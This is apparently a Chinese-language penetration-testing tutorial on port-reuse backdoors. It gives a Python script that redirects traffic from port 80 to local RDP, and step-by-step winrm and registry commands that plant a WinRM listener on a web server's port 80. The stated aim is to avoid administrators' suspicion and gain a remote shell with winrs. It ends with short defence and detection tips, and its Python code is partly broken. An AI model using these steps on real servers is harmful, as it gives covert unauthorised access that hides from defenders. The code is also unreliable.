端口复用后门
端口复用后门
一. 端口复用
1.1 端口复用场景条件
- server只对外开放指定端口,无法向外进行端口转发
- 躲避防火墙
- 内网渗透(当机器在内网,IP端口在外不可直接连接,只是通过出口防火墙向外映射指定端口。可通过端口复用直连内网)
1.2 类型
1.2.1 端口重定向
即本地建立2个套接字sock1、sock2,sock1监听80端口,sock2监听其它端口。当有80的连接时,sock1将接收到的数据进行判断,如果是http数据则处理,如果是其它数据则将其转发到sock2的端口。
1.2.2 端口复用
在本地建立一个监听和本地开放一样的端口如80端口,当有连接来到时,判断是否是自己的数据包,如果是则处理数据,否则不处理,交给源程序。
1.3 原理
端口重定向只是利用了本地环回地址127.0.0.1转发接收外来数据,端口复用只是利用了socket的相关特性。
示例代码:
s = socket(AF_INET,SOCK_STREAM,0);
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1));
server.sin_family=AF_INET;
server.sin_port=htons(80);
server.sin_addr.s_addr=htonl(“127.0.0.1”);
在端口复用技术中最重要的一个函数是setsockopt(),这个函数就决定了端口的重绑定问题。
setsockopt()函数,用于任意类型、任意状态套接口的设置选项值。尽管在不同协议层上存在选项,但本函数仅定义了最高的“套接口”层次上的选项。
在缺省条件下,一个套接口不能与一个已在使用中的本地地址捆绑(bind()))。但有时会需要“重用”地址。因为每一个连接都由本地地址和远端地址的组合唯一确定,所以只要远端地址不同,两个套接口与一个地址捆绑并无大碍。为了通知套接口实现不要因为一个地址已被一个套接口使用就不让它与另一个套接口捆绑,应用程序可在bind()调用前先设置SO_REUSEADDR选项。请注意仅在bind()调用时该选项才被解释;故此无需(但也无害)将一个不会共用地址的套接口设置该选项,或者在bind()对这个或其他套接口无影响情况下设置或清除这一选项。
我们这里要使用的是socket中的SO_REUSEADDR,下面是它的解释。
SO_REUSEADDR 提供如下四个功能:
SO_REUSEADDR:允许启动一个监听服务器并捆绑其众所周知端口,即使以前建立的将此端口用做他们的本地端口的连接仍存在。这通常是重启监听服务器时出现,若不设置此选项,则bind时将出错。
SO_REUSEADDR:允许在同一端口上启动同一服务器的多个实例,只要每个实例捆绑一个不同的本地IP地址即可。对于TCP,我们根本不可能启动捆绑相同IP地址和相同端口号的多个服务器。
SO_REUSEADDR:允许单个进程捆绑同一端口到多个套接口上,只要每个捆绑指定不同的本地IP地址即可。这一般不用于TCP服务器。
SO_REUSEADDR:允许完全重复的捆绑:当一个IP地址和端口绑定到某个套接口上时,还允许此IP地址和端口捆绑到另一个套接口上。一般来说,这个特性仅在支持多播的系统上才有,而且只对UDP套接口而言(TCP不支持多播)。
一般地,我们需要设置socket为非阻塞模式,缘由如果我们是阻塞模式,有可能会导致原有占用端口服务无法使用或自身程序无法使用,由此可见,端口复用使用非阻塞模式是比较保险的。
然而理论事实是需要检验的,当有些端口设置非阻塞时,缘由它的数据传输连续性,可能会导致数据接收异常或者无法接收到数据情况,非阻塞对于短暂型连接影响不大,但对持久性连接可能会有影响,比如3389端口的转发复用,所以使用非阻塞需要视端口情况而定。
此方法目前对Apache和IIS5.0及以下版本有效
1.3.1 利用
端口重定向
目的: 原先存在80端口,希望22,23,3389复用80端口。
原理:
(1) 外部IP连接本地IP: 192.168.1.2 => 192.168.2.1:80 => 127.0.0.1:3389
(2) 本地IP转向外部IP: 127.0.0.1:3389 => 192.168.2.1:80 => 192.168.1.2
首先外部IP(192.168.2.1)连接本地IP(192.168.1.1)的80端口,由于本地IP(192.168.1.1)端口复用绑定了80端口,所以复用绑定端口监听到了外部IP(192.168.2.1)地址流量,判断是否为HTTP流量,如果是则发送回本地80端口,否则本地IP(192.168.1.1)地址连接本地ip(127.0.0.1)的3389端口,从本地IP(127.0.0.1)端口3389获取到的流量由本地IP(192.168.1.1)地址发送到外部IP(192.168.2.1)地址上,这个过程就完成了整个端口复用重定向。
代码:
#coding=utf-8
import socket
import sys
import select
host='192.168.1.8'
port=80
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 )
s.bind((host,port))
s.listen(10)
S1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
S1.connect(('127.0.0.1',3389))
print "Start Listen 80 =>3389....."
while 1:
infds,outfds,errfds=select.select([s,],[],[],5) #转发3389需去除
if len(infds)!=0:#转发3389需去除
conn,(addr,port)=s.accept()
print '[*] connected from ',addr,port
data=conn.recv(4096)
S1.send(data)
recv_data=s1.recv(4096)
conn.send(recv_data)
print '[-] connected down',
S1.close()
s.close()
端口复用
目的:原先存在80端口,并且监听80端口,需要复用80端口为23(其他任意)端口
原理:
外部IP:192.168.2.1=>192.168.1.1:80=>run(data)
内部IP:return(data)=>192.168.1.1:80=>192.168.2.1
端口复用的原理是与源端口占用程序监听同一端口,当复用端口有数据来时,我们可以判断是否是自己的数据包,如果是自己的,那么就自己处理,否则把数据包交给源端口占用程序处理。
二. HTTP.sys端口复用后门
2.1 简介
该后门的基本原理是使用Windows的远程管理服务WinRM,组合HTTP.sys驱动自带的端口复用功能,一起实现端口复用后门。
HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,它有一个重要的功能叫Port Sharing,即端口共享。所有基于HTTP.sys驱动的HTTP应用可以共享同一个端口,只需要各自注册的url前缀不一样即可。
Net.TCP Port Sharing服务是WCF(Windows Communication Foundation)中的一个新的系统组件,这个服务会开启net.tcp 端口共享功能以达到在用户的不同进程之间实现端口共享。这个机制的最终是在HTTP.sys中实现的,目前将许多不同HTTP应用程序的流量复用到单个TCP端口上的HTTP.SYS模型已经成为Windows平台上的标准配置。这为防火墙管理员提供了一个共同的控制点,同时允许应用程序开发人员最小化构建可利用网络新应用程序的部署成本。跨多个 HTTP应用程序共享端口的功能一直是Internet信息服务(IIS)的一项功能。实际上,HTTP.SYS允许任意用户进程共享专用于HTTP流量的TCP端口。
HTTP.sys是在Windows Server 2003最开始引进的,这个驱动监听HTTP流量,然后根据URL注册的情况去分发,这样多个进程可以在同一个端口监听HTTP流量
匹配过程:
- 当IIS或者其他的应用使用HTTP Server API去监听请求路径的时候,这些应用需要在HTTP.SYS上面注册url prefix ,关于注册URL的规则。
- 当一个请求到来并被http.sys获取到,它需要分发这个请求给注册当前url对应的应用,这是路由的过程。
使用 netsh http show servicestate
命令可以查看所有在HTTP.sys上注册过的url前缀。
实际上,WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听端口5985。这点从微软公布的WinRM的架构图也可以看出来。
因此,在安装了IIS的边界Windows服务器上,开启WinRM服务后修改默认listener端口为80或新增一个80端口的listener即可实现端口复用,可以直接通过Web端口登录Windows服务器。
2.2 后门配置
步骤:
- 开启WinRM服务
- 新增80端口Listerner
- 修改WinRM端口
2.2.1 开启WinRM服务
Windows Server 2012及以上,已经默认开启WinRM并监听了5985端口
Windows Server 2008及一下,使用 winrm quickconfig -q
命令开启WinRM并自动从防火墙放行5985端口。
winrm使用端口:http 5985 https 5986
2.2.2 新增80端口Listener
对于原本就开放了WinRM的机器(Server 2012),需要保留该端口,以免影响系统管理员正常使用,同时还需要新增一个80端口的Listener供攻击者使用。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
即Windows Server 2012,只需要执行上述命令即可实现端口复用。
此时使用netsh http show servicestate
查看可以看到,http.sys新注册了一条url前缀:
2.2.3 修改WinRM端口
对于原本未开放WinRM服务的机器(Server 2008),需要把新开的5985端口修改至80端口,避免引起系统管理员怀疑。
winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
即Windows Server 2008,需要开启WinRM服务后,使用上述命令修改端口即可实现端口复用。
2.3 后门连接和使用
首先开启本机WinRM服务,然后设置信任连接的主机
winrm quickconfig -q # 开启服务
winrm set winrm/config/Client @{TrustedHosts="*"} # 设置信任连接的主机
然后执行使用winrs命令连接远程WinRM服务即可执行命令。
winrs -r:http://www.baidu.com -u:administrator -p:P@ssw0rd whoami
上述会在远程主机执行whoami命令。使用cmd替换whoami即可得到一个交互式shell。
注意:
此时会在目标主机安全日志中产生登录类型为 3
的登录记录, 此次登录的登录事件顺序为:"凭据验证" -> "特殊登录" -> "登录(4624)" -> "注销(4634)"
登录事件展开:
2.4 UAC问题
WinRM服务也是受UAC影响的,所以本地管理员用户组里面只有administrator可以登录,其他管理员用户是没法远程登录WinRM的。要允许本地管理员组的其他用户登录WinRM,需要修改注册表设置。
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
修改后使用管理员组用户即可登录WinRM。
2.5 Hash登录
系统自带的winrs命令登录时需要使用明文账号密码,那很多场景下尤其是windows 2012以后,经常只能抓取到本地用户的hash,无法轻易获得明文密码。因此需要实现一款支持使用NTLM hash登录的客户端,使用python来实现不难。
2.6 防御:
- 防火墙/IDS/IPS与web服务器配合使用,在其规则中采用白名单机制去判断是否属于web服务器当前允许的ACL URL。
2.7 检测
可以在服务和应用程序
中查找是否存在Windows Remote Management (WS-Management)
,存在则证明WinRM服务已经开启(此时已经可以通过winrm监听的端口远程连接主机)。
可执行netsh http show servicestate
命令,找到输出结果中注册的url前缀为WSMAN
的端口,然后执行winrm e winrm/config/listener
命令获取winrm端口(HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN\\Listener\\
),比较结果,如果有重合,则证明存在http.sys端口复用问题。
三. Refer
https://www.codeproject.com/Articles/437733/Demystify-http-sys-with-HttpSysManager